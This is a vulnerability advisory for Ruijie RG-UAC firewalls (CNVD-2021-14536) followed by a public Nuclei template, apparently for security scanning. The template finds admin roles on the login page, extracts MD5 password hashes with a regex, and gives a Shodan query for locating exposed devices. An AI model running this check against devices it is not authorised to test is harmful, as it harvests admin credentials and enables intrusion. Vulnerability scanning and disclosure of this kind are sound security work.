Multiple Firewall Devices from vendor Ruijie Networks are affected by an information leakage vulnerability where credentials are included in the source code of the web admin login interface (usernames, roles, MD5 hashes and additional details of each user). Attackers can use this information to illegally access into the vulnerable devices, obtain sensitive device information and change configurations. The vulnerability is identified by CNVD-2021-14536.
PoC代码[已公开]
id: ruijie-password-leak
info:
name: RG-UAC Ruijie - Password Hashes Leak
author: ritikchaddha,galoget
severity: high
description: |
Multiple Firewall Devices from vendor Ruijie Networks are affected by an information leakage vulnerability where credentials are included in the source code of the web admin login interface (usernames, roles, MD5 hashes and additional details of each user). Attackers can use this information to illegally access into the vulnerable devices, obtain sensitive device information and change configurations. The vulnerability is identified by CNVD-2021-14536.
reference:
- https://forum.butian.net/share/177
- https://www.ruijie.com.cn/gy/xw-aqtg-zw/86924/
- https://www.cnvd.org.cn/flaw/show/CNVD-2021-14536
classification:
cpe: cpe:2.3:o:ruijie:rg-uac_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ruijie
product: rg-uac_firmware
shodan-query: http.html:"Get_Verify_Info"
tags: password,leak,ruijie,exposure,firewall,router,vuln
http:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'contains(tolower(body), ''\"role\":\"super_admin\"'')'
- 'contains(tolower(body), ''\"role\":\"guest_admin\"'')'
- 'contains(tolower(body), ''\"role\":\"reporter_admin\"'')'
condition: or
- type: status
status:
- 200
extractors:
- type: regex
part: body
regex:
- '"password":"[a-f0-9]{32}'
# digest: 490a00463044022063cd73196b9b543be456422b499c189fe76f1faa10a5cd7ee07c94e0261d6bf0022029f90ca69a2dc600d325b996b4584f184e09c2f132e8d49634b0e112527ee75a:922c64590222798bb761d5b6d8e72950